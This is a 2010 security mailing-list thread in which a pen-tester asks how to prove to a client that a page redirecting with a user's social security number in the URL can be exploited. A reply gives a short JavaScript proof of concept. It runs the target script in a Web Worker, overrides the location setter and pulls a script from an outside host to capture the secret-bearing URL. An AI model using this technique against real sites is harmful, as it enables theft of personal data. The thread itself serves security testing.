Re: hard-to-sell vulnerabilities

var myWorker = new
Worker('http://0x.lv/xss.php?plain_xss=this.__defineSetter__("location",function(x){throw
x});importScripts("http://jsbin.com/azixa5");');
myWorker.onerror=function(x){alert(x.message)}
-- Eduardo




On Tue, Dec 21, 2010 at 5:40 PM, Eduardo Vela <[email protected]> wrote:
> Try to load the code inside a web worker, and set up a listner on location.
>
> Greetings!!
> -- Eduardo
>
>
>
>
> On Tue, Dec 21, 2010 at 2:06 PM, Martín <[email protected]> wrote:
>> Hi,
>>
>> During the course of a pen-test or a simple bug-hunt on a web
>> application one may discover certain vulnerabilities or bad practices
>> on the target that may be common knowledge for us sec professionals
>> but can be tricky to "sell" to a non-technical client (manager).
>> Writing a PoC displaying the potential attack the application is
>> exposed to suffer may be a mandatory task in the documentation or
>> presentation phase. That's my case and I'm needing some help here
>> please.
>>
>> Case in hand: Found web script on some client's machine. Same URL for
>> all users which after being loaded redirects using js to another URL
>> with confidential information in GET parameters. For example:
>>
>> 1- User requests http://domain.com/script.php
>> 2- script.php contains this javascript code: location.href =
>> 'http://domain.com/anotherscript.php?SSN=xxx-xxxx-xxxx';
>> 3- The user visits
>> http://domain.com/anotherscript.php?SSN=xxx-xxxx-xxxx after that js
>> line is executed.
>>
>> Obviously script.php is first getting the social security number of
>> the authenticated user and apending it to the javascript code. We all
>> know how wrong is to include CSRF tokens or any other kind of secret
>> into any GET parameter (even worse something as confidential as some
>> user social security number), but... how can I write a PoC to convice
>> the client of this huge HUGE bad script.
>>
>>
>>
>> This is what I've tried so far:
>>
>> ** Finding some XSS in the app to show the client how can I get his
>> SSN after he clicks on a specially crafted link.
>>
>> As susprising as it may sound, I wasn't able to found any XSS for the
>> domain hosting the script. Application is fairly simple and there's
>> only a couple user inputs to work with, both of them properly escaped
>> :(
>>
>> ** Using CSS Browser History Hack to retrieve the URL the user visited
>> with the SSN appended
>>
>> Despite some recent browser updates begin to protect users from this
>> hack, there's still a huge userbase out there with vulnerable browsers
>> so this could be a plausible solution if it weren't for the huge key
>> space of a SSN (or any other long token). Still no luck.
>>
>> ** Some Javascript Kung-Fu (out of hope)
>>
>> Tried embedding vulnerable url into an iframe and overriding
>> Location.prototype to capture the new href value (after it loads) via
>> __defineSetter__ without luck. Reading the src attribute of an iframe
>> after it navigates away to the target url is prohibited too due to
>> browser security restrictions.
>>
>>
>> So guys, any other hints on how to market the problem to a client?
>> Having your SSN in your browser history or in server logs is not a
>> good thing.
>>
>> thanks
>>
>>
>>
>> This list is sponsored by Cenzic
>> --------------------------------------
>> Let Us Hack You. Before Hackers Do!
>> It's Finally Here - The Cenzic Website HealthCheck. FREE.
>> Request Yours Now!
>> http://www.cenzic.com/2009HClaunch_Securityfocus
>> --------------------------------------
>>
>>
>



This list is sponsored by Cenzic
--------------------------------------
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now! 
http://www.cenzic.com/2009HClaunch_Securityfocus
--------------------------------------